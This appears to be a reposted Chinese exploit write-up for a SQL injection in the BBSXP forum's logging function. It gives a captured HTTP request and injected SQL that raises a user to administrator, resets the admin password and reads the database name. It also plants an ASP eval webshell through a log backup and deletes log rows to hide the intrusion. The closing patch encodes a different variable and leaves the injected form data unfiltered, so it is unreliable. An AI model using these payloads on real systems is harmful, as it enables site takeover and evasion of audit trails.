来源:浙江精诚科技股份有限公司
作者:yl6364
转载请保留如上信息!谢谢。
bbsxp前段时间出了个log的注入,这次的还是出现在这个地方。
subLog(Message)
ifRequest.ServerVariables("Query_String")<>""thenQuery_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insertinto[BBSXP_Log](UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes)values('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&HTMLEncode(Request.ServerVariables("HTTP_REFERER"))&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")
endsub
上次就是出现在HTTP_REFERER上,最新版本的已经用HTMLEncode处理过了。其实在在这个log()里面还是有我们可以控制的变量,就是Request.Form
注册个用户yl6364,发个贴再编辑。抓包如下:
POST/bbsxp/editpost.asp?threadid=1&postid=1HTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
Referer:http://localhost/bbsxp/editpost.asp?threadid=1&postid=1
Accept-Language:zh-cn
Content-Type:application/x-www-form-urlencoded
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.2;.NETCLR1.1.4322)
Host:localhost
Content-Length:53
Connection:Keep-Alive
Cache-Control:no-cache
Cookie:skins=1;Eremite=0;UserID=2;Userpass=1679707407E0FEDAA79EA80AB389A964;Onlinetime=2007%2D3%2D10+21%3A30%3A37;ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E%u7F51%u7EDC%3C/option%3E;ASPSESSIONIDSQCDCSQA=NBOPHAJCAIEFFCMHGDFJNKBH;ASPSESSIONIDSCTRRACA=OCIBAKBAFDDDJAADKKJBPBNI
content=test+log&UpFileID=&Category=&Subject=test+log
变量Request.Form就是content=test+log&UpFileID=&Category=&Subject=test+log
上面的变量都是经过HTMLEncode处理的,但是我们还是可以想办法饶过去。
我们可以伪造变量,比如我们把content=test+log&UpFileID=&Category=&Subject=test+log改为
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love
记得修改Content-Length,打开bbsxp_log表看见POSTData为:
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love
看出点什么来了吗嘿嘿,我们伪造的变量yl6364就这样进库了。因为是伪造的变量所以自然是没有经过任何的过滤。下面思路就清晰了,提升权限为管理员然后进后台查看网站的路境,再利用log备份拿webshell
提升权限:
content=test+log&UpFileID=&Category=&Subject=test+log
改为:
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love','');updatebbsxp_userssetuserroleid=1whereusername='yl6364'--
这样就变为前台的管理员。
修改后台的密码:
updatebbsxp_sitesettingssetadminpassword='md5密码'--
bbsxp经过md5加密的密码字母都是大写的
获得库的名:
updatebbsxp_userssetusermail=db_name()whereusername='yl6364'--
log备份拿webshell:
alterdatabasebbsxpsetrecoveryfull;droptablecmd;createtablecmd(aimage);backuplogbbsxptodisk='c:\cmd'withinit;insertintocmd(a)values('<%evalrequest(chr(35)):response.end%>');backuplogbbsxptodisk='C:\web\bbsxp\cmd.asp';--
修改后台密码要记得改回来哦,不然管理员就进不了后台了,所以最好弄得到管理员密码。
最后要记得擦PP,delete*frombbsxp_logwhereusername='yl6364'--
ps:官方论坛我测试过没有成功,不知道什么原因。不过在本地和网上测试成功!
修补:加上个htmlencode过滤就好了
subLog(Message)
ifRequest.ServerVariables("Query_String")<>""thenQuery_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insertinto[BBSXP_Log](UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes)values('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&HTMLEncode(Request.ServerVariables("HTTP_REFERER"))&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")
endsub
改为:
subLog(Message)
ifRequest.ServerVariables("Query_String")<>""thenQuery_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insertinto[BBSXP_Log](UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes)values('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&HTMLEncode(Request.ServerVariables("HTTP_REFERER"))&"','"&Err.Description&"','"&Request.Form&"','"&HTMLEncode(Message)&"')")
endsub